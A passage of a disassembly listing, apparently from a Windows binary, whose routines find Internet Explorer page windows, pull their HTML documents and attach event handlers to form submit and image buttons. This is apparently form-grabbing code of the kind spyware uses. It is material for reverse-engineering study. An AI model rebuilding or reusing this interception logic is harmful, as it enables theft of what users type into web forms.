		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4068BF:				; CODE XREF: sub_4060DC+7DBj
		mov	byte ptr [ebp-4], 10h
		mov	eax, [ebp-40h]
		test	eax, eax
		jz	short loc_4068D0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4068D0:				; CODE XREF: sub_4060DC+7ECj
		mov	byte ptr [ebp-4], 0Fh
		mov	eax, [ebp-4Ch]
		test	eax, eax
		jz	short loc_4068E1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4068E1:				; CODE XREF: sub_4060DC+7FDj
		push	dword ptr [ebp-38h]
		call	ebx
		push	dword ptr [ebp-3Ch]
		call	ebx
		push	dword ptr [ebp-30h]
		call	ebx
		push	dword ptr [ebp-2Ch]
		call	ebx
		push	dword ptr [ebp-34h]
		call	ebx

loc_4068FA:				; CODE XREF: sub_4060DC+2A9j
		mov	byte ptr [ebp-4], 7
		mov	eax, [ebp-1Ch]
		test	eax, eax
		jz	short loc_40690B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40690B:				; CODE XREF: sub_4060DC+827j
		mov	byte ptr [ebp-4], 6
		mov	eax, [ebp-20h]
		test	eax, eax
		jz	short loc_40691C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40691C:				; CODE XREF: sub_4060DC+838j
		mov	byte ptr [ebp-4], 5
		mov	eax, [ebp-24h]
		test	eax, eax
		jz	short loc_40692D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40692D:				; CODE XREF: sub_4060DC+211j
					; sub_4060DC+849j
		mov	byte ptr [ebp-4], 4
		mov	eax, [ebp-28h]

loc_406934:				; CODE XREF: sub_4060DC+797j
		test	eax, eax
		jz	short loc_40693E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40693E:				; CODE XREF: sub_4060DC+15Fj
					; sub_4060DC+85Aj
		mov	esi, ds:dword_4291CC
		lea	eax, [ebp-70h]
		push	eax
		call	esi
		lea	eax, [ebp-80h]
		push	eax
		call	esi
		mov	byte ptr [ebp-4], 1
		mov	eax, [ebp-18h]
		test	eax, eax
		jz	short loc_406961
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406961:				; CODE XREF: sub_4060DC+C8j
					; sub_4060DC+87Dj
		mov	byte ptr [ebp-4], 0
		mov	eax, [ebp-14h]
		test	eax, eax
		jz	short loc_406972
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406972:				; CODE XREF: sub_4060DC+6Dj
					; sub_4060DC+87j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		test	eax, eax

loc_40697B:				; CODE XREF: sub_4060DC+9A3j
		jz	short loc_406983
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406983:				; CODE XREF: sub_4060DC+3Aj
					; sub_4060DC:loc_40697Bj
		mov	ecx, [ebp-0Ch]
		pop	edi
		xor	eax, eax
		pop	esi
		inc	eax
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_406997:				; CODE XREF: sub_4060DC+662j
					; sub_4060DC+677j
		push	dword ptr [ebp-5Ch]
		call	ebx
		push	dword ptr [ebp-60h]
		call	ebx
		mov	byte ptr [ebp-4], 12h
		mov	eax, [ebp-50h]
		cmp	eax, edi
		jz	short loc_4069B2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4069B2:				; CODE XREF: sub_4060DC+8CEj
		mov	byte ptr [ebp-4], 11h
		mov	eax, [ebp-48h]
		cmp	eax, edi
		jz	short loc_4069C3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4069C3:				; CODE XREF: sub_4060DC+8DFj
		mov	byte ptr [ebp-4], 10h
		mov	eax, [ebp-40h]
		cmp	eax, edi
		jz	short loc_4069D4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4069D4:				; CODE XREF: sub_4060DC+463j
					; sub_4060DC+47Bj ...
		mov	byte ptr [ebp-4], 0Fh
		mov	eax, [ebp-4Ch]
		cmp	eax, edi
		jz	short loc_4069E5
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4069E5:				; CODE XREF: sub_4060DC+3F0j
					; sub_4060DC+443j ...
		push	dword ptr [ebp-38h]

loc_4069E8:				; CODE XREF: sub_4060DC+40Bj
		call	ebx
		push	dword ptr [ebp-3Ch]
		call	ebx

loc_4069EF:				; CODE XREF: sub_4060DC+319j
					; sub_4060DC+32Ej
		push	dword ptr [ebp-30h]
		call	ebx
		push	dword ptr [ebp-2Ch]
		call	ebx

loc_4069F9:				; CODE XREF: sub_4060DC+2FAj
		push	dword ptr [ebp-34h]
		call	ebx
		mov	byte ptr [ebp-4], 7
		mov	eax, [ebp-1Ch]
		cmp	eax, edi
		jz	short loc_406A0F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406A0F:				; CODE XREF: sub_4060DC+92Bj
		mov	byte ptr [ebp-4], 6
		mov	eax, [ebp-20h]
		cmp	eax, edi
		jz	short loc_406A20
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406A20:				; CODE XREF: sub_4060DC+93Cj
		mov	byte ptr [ebp-4], 5
		mov	eax, [ebp-24h]
		cmp	eax, edi
		jz	short loc_406A31
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406A31:				; CODE XREF: sub_4060DC+94Dj
		mov	byte ptr [ebp-4], 4
		mov	eax, [ebp-28h]
		cmp	eax, edi
		jz	short loc_406A42
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406A42:				; CODE XREF: sub_4060DC+F8j
					; sub_4060DC+110j ...
		mov	esi, ds:dword_4291CC
		lea	eax, [ebp-70h]
		push	eax
		call	esi
		lea	eax, [ebp-80h]
		push	eax
		call	esi
		mov	byte ptr [ebp-4], 1
		mov	eax, [ebp-18h]
		cmp	eax, edi
		jz	short loc_406A65
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406A65:				; CODE XREF: sub_4060DC+981j
		mov	byte ptr [ebp-4], 0
		mov	eax, [ebp-14h]
		cmp	eax, edi
		jz	short loc_406A76
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406A76:				; CODE XREF: sub_4060DC+992j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		cmp	eax, edi
		jmp	loc_40697B
sub_4060DC	endp

; ---------------------------------------------------------------------------

loc_406A84:				; CODE XREF: .text:0042794Ej
					; .text:00427956j ...
		jmp	$+5

loc_406A89:				; CODE XREF: .text:004279BCj
		mov	eax, [eax]
		test	eax, eax
		jz	short locret_406A95
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_406A95:				; CODE XREF: .text:00406A8Dj
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A96	proc near		; DATA XREF: .text:off_430AC0o

var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_14		= byte ptr -14h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, ds:dword_435F4C
		push	esi
		xor	esi, esi
		cmp	eax, esi
		push	edi
		mov	edi, ecx
		jnz	short loc_406ABF
		push	offset aOleacc_dll ; "OLEACC.DLL"
		call	ds:dword_4290E4	; LoadLibraryA
		cmp	eax, esi
		mov	ds:dword_435F4C, eax
		jz	short loc_406B3B

loc_406ABF:				; CODE XREF: sub_406A96+13j
		push	offset aObjectfromlres ; "ObjectFromLresult"
		push	eax
		call	ds:dword_4290E0	; GetProcAddress
		cmp	eax, esi
		mov	ds:dword_435F50, eax
		jz	short loc_406B3B
		push	offset aWm_html_getobj ; "WM_HTML_GETOBJECT"
		call	ds:dword_4291E8	; RegisterClipboardFormatA
		push	esi
		mov	ds:dword_435F48, eax
		call	ds:dword_4292F4
		mov	eax, edi
		lea	ecx, [ebp+var_14]
		call	sub_40609A
		mov	edi, ds:dword_429268
		jmp	short loc_406B26
; ---------------------------------------------------------------------------

loc_406AFD:				; CODE XREF: sub_406A96+9Bj
		lea	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4291F0	; TranslateMessage
		lea	eax, [ebp+var_30]
		push	eax
		call	ds:dword_429204	; DispatchMessageA
		cmp	[ebp+var_2C], 8000h
		jnz	short loc_406B26
		push	esi
		push	offset sub_406B3F
		call	ds:dword_4291EC	; EnumWindows

loc_406B26:				; CODE XREF: sub_406A96+65j
					; sub_406A96+82j
		push	esi
		push	esi
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	edi	; GetMessageA
		test	eax, eax
		jg	short loc_406AFD
		lea	ecx, [ebp+var_14]
		call	sub_416AA6

loc_406B3B:				; CODE XREF: sub_406A96+27j
					; sub_406A96+3Cj
		pop	edi
		pop	esi
		leave
		retn
sub_406A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B3F	proc near		; DATA XREF: sub_406A96+85o

var_D8		= byte ptr -0D8h
var_98		= word ptr -98h
var_90		= dword	ptr -90h
var_88		= word ptr -88h
var_80		= dword	ptr -80h
var_78		= word ptr -78h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_48		= byte ptr -48h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	40h
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_429208	; GetClassNameA
		lea	eax, [ebp+var_40]
		push	offset aIeframe	; "IEFrame"
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_406B7C
		lea	eax, [ebp+var_40]
		push	offset aCabinetwclass ;	"CabinetWClass"
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406B8C

loc_406B7C:				; CODE XREF: sub_406B3F+27j
		push	0
		push	offset loc_406B93
		push	[ebp+arg_0]
		call	ds:dword_429200	; EnumChildWindows

loc_406B8C:				; CODE XREF: sub_406B3F+3Bj
		xor	eax, eax
		inc	eax
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_406B93:				; DATA XREF: sub_406B3F+3Fo
					; sub_406B3F+57Do
		mov	eax, offset loc_4279C1
		call	sub_41E550
		sub	esp, 0CCh
		push	ebx
		push	esi
		push	edi
		push	40h
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_429208	; GetClassNameA
		lea	eax, [ebp+var_D8]
		push	offset aTabwindowclass ; "TabWindowClass"
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4070BA
		lea	eax, [ebp+var_D8]
		push	offset aShellDocobject ; "Shell	DocObject View"
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4070BA
		lea	eax, [ebp+var_D8]
		push	offset aInternetExplor ; "Internet Explorer_Server"
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4070CA
		xor	ebx, ebx
		cmp	ds:dword_435F4C, ebx
		jz	loc_4070CA
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1C], ebx
		lea	eax, [ebp+var_68]
		push	eax
		push	3E8h
		push	ebx
		push	ebx
		push	ebx
		mov	byte ptr [ebp+var_4], 3
		push	ds:dword_435F48
		push	[ebp+arg_0]
		call	ds:dword_42923C	; SendMessageTimeoutA
		mov	eax, ds:dword_435F50
		cmp	eax, ebx
		jz	loc_40706D
		lea	ecx, [ebp+var_14]
		push	ecx
		push	ebx
		push	offset dword_429408
		push	[ebp+var_68]
		call	eax
		test	eax, eax
		jl	loc_40706D
		mov	[ebp+var_18], ebx
		mov	esi, ds:dword_4291C8
		lea	eax, [ebp+var_58]
		push	eax
		call	esi
		lea	eax, [ebp+var_48]
		push	eax
		call	esi
		mov	byte ptr [ebp+var_4], 6
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		call	dword ptr [ecx+1B0h]
		test	eax, eax
		jl	loc_4070B2
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		lea	edx, [ebp+var_18]
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		test	eax, eax
		jl	loc_4070B2
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		lea	edx, [ebp+var_5C]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	loc_4070B2
		cmp	[ebp+var_5C], ebx
		jnz	short loc_406CF2
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_406CD9
		mov	[ebp+var_10], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406CD9:				; CODE XREF: sub_406B3F+18Fj
		mov	eax, [ebp+var_18]
		cmp	eax, ebx
		jz	loc_406D9A
		mov	[ebp+var_18], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_406D9A
; ---------------------------------------------------------------------------

loc_406CF2:				; CODE XREF: sub_406B3F+188j
		mov	[ebp+var_34], ebx

loc_406CF5:				; CODE XREF: sub_406B3F+4D0j
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_5C]
		jge	loc_4070B2
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_406D11
		mov	[ebp+var_10], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406D11:				; CODE XREF: sub_406B3F+1C7j
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_406D21
		mov	[ebp+var_14], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406D21:				; CODE XREF: sub_406B3F+1D7j
		mov	eax, [ebp+var_20]
		cmp	eax, ebx
		jz	short loc_406D31
		mov	[ebp+var_20], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406D31:				; CODE XREF: sub_406B3F+1E7j
		mov	eax, [ebp+var_1C]
		cmp	eax, ebx
		jz	short loc_406D41
		mov	[ebp+var_1C], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406D41:				; CODE XREF: sub_406B3F+1F7j
		push	[ebp+var_34]
		lea	esi, [ebp+var_58]
		call	sub_40607C
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		lea	edx, [ebp+var_48]
		push	edx
		lea	edx, [ebp+var_58]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	loc_4070B2
		mov	eax, [ebp+var_40]
		cmp	eax, ebx
		jz	short loc_406D82
		mov	ecx, [eax]
		lea	edx, [ebp+var_10]
		push	edx
		push	offset loc_4293F8
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_4070B2

loc_406D82:				; CODE XREF: sub_406B3F+22Bj
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	eax
		call	dword ptr [ecx+0D0h]
		test	eax, eax
		jl	loc_4070B2

loc_406D9A:				; CODE XREF: sub_406B3F+19Fj
					; sub_406B3F+1AEj
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		lea	edx, [ebp+var_20]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	loc_4070B2
		mov	eax, [ebp+var_20]
		push	offset loc_4293F8
		lea	esi, [ebp+var_10]
		call	sub_406007
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_406DCF
		mov	[ebp+var_14], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406DCF:				; CODE XREF: sub_406B3F+285j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	eax
		call	dword ptr [ecx+0D0h]
		test	eax, eax
		jl	loc_4070B2
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		lea	edx, [ebp+var_1C]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	loc_4070B2
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_64]
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		test	eax, eax
		jl	loc_4070B2
		cmp	[ebp+var_64], ebx
		mov	[ebp+var_38], ebx
		jle	loc_407001

loc_406E1D:				; CODE XREF: sub_406B3F+4BAj
		mov	[ebp+var_24], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], ebx
		mov	eax, [ebp+var_38]
		mov	[ebp+var_88], 3
		mov	[ebp+var_80], eax
		mov	[ebp+var_98], 3
		mov	[ebp+var_90], eax
		mov	byte ptr [ebp+var_4], 0Bh
		lea	edx, [ebp+var_24]
		push	edx
		sub	esp, 10h
		mov	edi, esp
		mov	eax, [ebp+var_1C]
		lea	esi, [ebp+var_88]
		movsd
		movsd
		mov	ecx, [eax]
		movsd
		movsd
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+var_98]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+2Ch]
		mov	esi, ds:dword_4291CC
		test	eax, eax
		lea	eax, [ebp+var_98]
		push	eax
		setl	byte ptr [ebp+arg_0+3]
		call	esi
		lea	eax, [ebp+var_88]
		push	eax
		mov	byte ptr [ebp+var_4], 9
		call	esi
		cmp	byte ptr [ebp+arg_0+3],	bl
		jnz	loc_40701D
		mov	eax, [ebp+var_24]
		cmp	eax, ebx
		jz	loc_406FBD
		mov	ecx, [eax]
		lea	edx, [ebp+var_2C]
		push	edx
		push	offset dword_42FEBC
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		mov	eax, [ebp+var_24]
		cmp	eax, ebx
		jz	short loc_406EC9
		mov	[ebp+var_24], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406EC9:				; CODE XREF: sub_406B3F+37Fj
		cmp	edi, ebx
		jl	loc_406FBD
		mov	[ebp+var_30], ebx
		mov	byte ptr [ebp+var_4], 0Ch
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_30]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	loc_407014
		push	offset aSubmit	; "submit"
		push	[ebp+var_30]
		call	sub_41D445
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_406F17
		push	offset aImage	; "image"
		push	[ebp+var_30]
		call	sub_41D445
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406FB4

loc_406F17:				; CODE XREF: sub_406B3F+3BFj
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_28]
		push	edx
		push	eax
		call	dword ptr [ecx+44h]
		test	eax, eax
		jl	loc_406FB4
		mov	eax, [ebp+var_28]
		mov	ecx, [eax]
		lea	edx, [ebp+var_78]
		push	edx
		push	eax
		call	dword ptr [ecx+54h]
		test	eax, eax
		jl	short loc_406FB4
		mov	[ebp+var_60], ebx
		mov	byte ptr [ebp+var_4], 0Dh
		mov	eax, [ebp+var_70]
		cmp	eax, ebx
		jz	short loc_406F5D
		mov	ecx, [eax]
		lea	edx, [ebp+var_60]
		push	edx
		push	offset dword_429418
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jge	short loc_406FA3

loc_406F5D:				; CODE XREF: sub_406B3F+40Aj
		mov	ebx, ds:dword_438128
		mov	eax, [ebp+var_28]
		sub	esp, 10h
		mov	edi, esp
		mov	esi, offset dword_429428
		movsd
		movsd
		movsd
		mov	[ebp+var_78], 9
		mov	[ebp+var_70], ebx
		movsd
		call	sub_4070F6
		test	eax, eax
		jl	short loc_406F9B
		mov	eax, [ebp+var_28]
		mov	ecx, [eax]
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+var_78]
		movsd
		movsd
		movsd
		push	eax
		movsd
		call	dword ptr [ecx+50h]

loc_406F9B:				; CODE XREF: sub_406B3F+445j
		mov	esi, ds:dword_4291CC
		xor	ebx, ebx

loc_406FA3:				; CODE XREF: sub_406B3F+41Cj
		mov	byte ptr [ebp+var_4], 0Ch
		mov	eax, [ebp+var_60]
		cmp	eax, ebx
		jz	short loc_406FB4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406FB4:				; CODE XREF: sub_406B3F+3D2j
					; sub_406B3F+3E7j ...
		push	[ebp+var_30]
		call	ds:dword_4291D4

loc_406FBD:				; CODE XREF: sub_406B3F+364j
					; sub_406B3F+38Cj
		mov	byte ptr [ebp+var_4], 8
		mov	eax, [ebp+var_28]
		cmp	eax, ebx
		jz	short loc_406FCE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406FCE:				; CODE XREF: sub_406B3F+487j
		mov	byte ptr [ebp+var_4], 7
		mov	eax, [ebp+var_2C]
		cmp	eax, ebx
		jz	short loc_406FDF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406FDF:				; CODE XREF: sub_406B3F+498j
		mov	byte ptr [ebp+var_4], 6
		mov	eax, [ebp+var_24]
		cmp	eax, ebx
		jz	short loc_406FF0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_406FF0:				; CODE XREF: sub_406B3F+4A9j
		inc	[ebp+var_38]
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_64]
		jl	loc_406E1D
		jmp	short loc_407007
; ---------------------------------------------------------------------------

loc_407001:				; CODE XREF: sub_406B3F+2D8j
		mov	esi, ds:dword_4291CC

loc_407007:				; CODE XREF: sub_406B3F+4C0j
		cmp	[ebp+var_5C], ebx
		jz	short loc_407050
		inc	[ebp+var_34]
		jmp	loc_406CF5
; ---------------------------------------------------------------------------

loc_407014:				; CODE XREF: sub_406B3F+3A8j
		push	[ebp+var_30]
		call	ds:dword_4291D4

loc_40701D:				; CODE XREF: sub_406B3F+359j
		mov	byte ptr [ebp+var_4], 8
		mov	eax, [ebp+var_28]
		cmp	eax, ebx
		jz	short loc_40702E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40702E:				; CODE XREF: sub_406B3F+4E7j
		mov	byte ptr [ebp+var_4], 7
		mov	eax, [ebp+var_2C]
		cmp	eax, ebx
		jz	short loc_40703F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40703F:				; CODE XREF: sub_406B3F+4F8j
		mov	byte ptr [ebp+var_4], 6
		mov	eax, [ebp+var_24]
		cmp	eax, ebx
		jz	short loc_407050
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_407050:				; CODE XREF: sub_406B3F+4CBj
					; sub_406B3F+509j ...
		lea	eax, [ebp+var_48]
		push	eax
		call	esi
		lea	eax, [ebp+var_58]
		push	eax
		call	esi
		mov	byte ptr [ebp+var_4], 3
		mov	eax, [ebp+var_18]
		cmp	eax, ebx
		jz	short loc_40706D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40706D:				; CODE XREF: sub_406B3F+10Dj
					; sub_406B3F+124j ...
		mov	byte ptr [ebp+var_4], 2
		mov	eax, [ebp+var_1C]
		cmp	eax, ebx
		jz	short loc_40707E
		mov	ecx, [eax]
		push	eax

loc_40707B:				; DATA XREF: .text:00434924o
					; .text:00434938o ...
		call	dword ptr [ecx+8]

loc_40707E:				; CODE XREF: sub_406B3F+537j
		mov	byte ptr [ebp+var_4], 1
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_40708F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40708F:				; CODE XREF: sub_406B3F+548j
		mov	byte ptr [ebp+var_4], bl
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_40709F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_40709F:				; CODE XREF: sub_406B3F+558j
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_20]
		cmp	eax, ebx
		jz	short loc_4070CA
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_4070CA
; ---------------------------------------------------------------------------

loc_4070B2:				; CODE XREF: sub_406B3F+155j
					; sub_406B3F+16Aj ...
		mov	esi, ds:dword_4291CC
		jmp	short loc_407050
; ---------------------------------------------------------------------------

loc_4070BA:				; CODE XREF: sub_406B3F+8Ej
					; sub_406B3F+A9j
		push	0
		push	offset loc_406B93
		push	[ebp+arg_0]
		call	ds:dword_429200	; EnumChildWindows

loc_4070CA:				; CODE XREF: sub_406B3F+C4j
					; sub_406B3F+D2j ...
		mov	ecx, [ebp+var_C]
		pop	edi
		xor	eax, eax
		pop	esi
		inc	eax
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_406B3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070DE	proc near		; DATA XREF: .text:0042FEE4o
		mov	eax, 80004001h
		retn	8
sub_4070DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070E6	proc near		; DATA XREF: .text:0042FEE8o
		mov	eax, 80004001h
		retn	10h
sub_4070E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070EE	proc near		; DATA XREF: .text:0042FEECo
		mov	eax, 80004001h
		retn	18h
sub_4070EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070F6	proc near		; CODE XREF: sub_406B3F+43Ep

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		xor	ecx, ecx
		lea	esi, [ebx+4]
		cmp	[esi], ecx
		push	edi
		mov	edi, eax
		mov	[ebp+var_4], ecx
		jz	short loc_407118
		mov	eax, [esi]
		cmp	eax, ecx
		jz	short loc_407118
		mov	[esi], ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_407118:				; CODE XREF: sub_4070F6+12j
					; sub_4070F6+18j
		call	sub_405FE5
		mov	eax, [edi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_429448
		push	edi
		call	dword ptr [eax]
		mov	edi, eax
		test	edi, edi
		jl	short loc_407158
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	esi, [ebx+0Ch]
		push	esi
		lea	edx, [ebp+arg_0]
		push	edx
		push	eax
		call	dword ptr [ecx+10h]
		mov	edi, eax
		test	edi, edi
		jl	short loc_407158
		mov	esi, [esi]
		mov	eax, [esi]
		lea	ecx, [ebx+14h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+14h]
		mov	[ebx+10h], eax

loc_407158:				; CODE XREF: sub_4070F6+39j
					; sub_4070F6+50j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_407165
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_407165:				; CODE XREF: sub_4070F6+67j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	10h
sub_4070F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40716D	proc near		; DATA XREF: .text:off_42FED8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_8]
		and	dword ptr [edi], 0
		push	offset dword_429458
		push	[ebp+arg_4]
		call	sub_405FB5
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4071BC
		push	offset dword_429438
		push	[ebp+arg_4]
		call	sub_405FB5
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4071BC
		push	offset dword_429418
		push	[ebp+arg_4]
		call	sub_405FB5
		neg	eax
		sbb	eax, eax
		pop	ecx
		and	eax, 7FFFBFFEh
		pop	ecx
		add	eax, 80004002h
		jmp	short loc_4071CB
; ---------------------------------------------------------------------------

loc_4071BC:				; CODE XREF: sub_40716D+1Bj
					; sub_40716D+2Ej
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	[edi], esi
		xor	eax, eax
		pop	esi

loc_4071CB:				; CODE XREF: sub_40716D+4Dj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40716D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4071D0	proc near		; DATA XREF: .text:0042FEDCo

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		inc	dword ptr [eax+8]
		mov	eax, [eax+8]
		retn	4
sub_4071D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4071DD	proc near		; DATA XREF: .text:0042FEE0o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		dec	dword ptr [ecx+8]
		mov	eax, [ecx+8]
		jnz	short locret_4071F3
		push	1
		push	ecx
		call	sub_407259
		xor	eax, eax

